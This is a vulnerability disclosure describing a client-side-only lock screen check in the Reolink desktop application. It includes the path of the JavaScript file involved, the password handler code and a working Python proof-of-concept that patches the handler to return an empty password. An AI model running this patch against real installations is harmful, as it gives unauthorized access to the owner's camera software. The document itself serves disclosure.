1. Overview

The Reolink desktop application provides a local lock screen feature that allows users to set a password to prevent unauthorized access.

However, the password verification logic is implemented entirely on the client-side without any cryptographic protection or server-side validation.

This allows attackers with local file system access to bypass the authentication mechanism by modifying a specific JavaScript file.

This issue corresponds to CWE-288: Authentication Bypass Using an Alternate Path or Channel and CWE-353: Missing Support for Integrity Check.


2. Details

The lock screen password is stored and retrieved via JavaScript code in the local resource bundle, specifically:

%LOCALAPPDATA%\\Programs\\Reolink\\resources\\app\\~node_modules_sharp_vendor_Sync_recursive_versions_json_~private_main_index_ts.js

The relevant code registers a handler for the command get_settings_lock_screen_password, which returns the stored password from the a.settingsManager.lockScreenPassword property:

this.registerCommonCmd(
  "get_settings_lock_screen_password",
  "",
  R(function () {
    return N(this, function (e) {
      return [2, a.settingsManager.lockScreenPassword];
    });
  }),
);

Since this logic resides entirely on the client side, an attacker can patch the return value to "" (an empty string), effectively bypassing the lock screen:

return [2, ""];

After modifying and saving this file, the application will treat the lock screen as having no password, thereby granting access without any authentication.


3. Proof of Concept (PoC)

Below is a Python script that locates and patches the lock screen password handler in the vulnerable JavaScript file:

import re
from pathlib import Path

target_path = Path.home() / (
    "AppData/Local/Programs/Reolink/resources/app/"
    "~node_modules_sharp_vendor_Sync_recursive_versions_json_~private_main_index_ts.js"
)

with open(target_path, "r", encoding="utf-8") as f:
    content = f.read()

pattern = re.compile(
    r'(this\\.registerCommonCmd\\(\\s*"get_settings_lock_screen_password".+?return\\s+\\[2,\\s*a\\.settingsManager\\.lockScreenPassword\\s*\\];)',
    re.DOTALL
)

replacement = r'return [2, ""];'

def patch_handler(match):
    return match.group(0).replace(
        'return [2, a.settingsManager.lockScreenPassword];', replacement
    )

patched, count = pattern.subn(patch_handler, content)

if count > 0:
    with open(target_path, "w", encoding="utf-8") as f:
        f.write(patched)
    print(f"[+] Successfully patched lock screen handler.")
else:
    print("[!] Failed to locate or patch handler. Please ensure the file has not already been patched or altered.")

The following screenshot shows the Reolink application's lock screen before patching, with a password prompt enabled:

image.png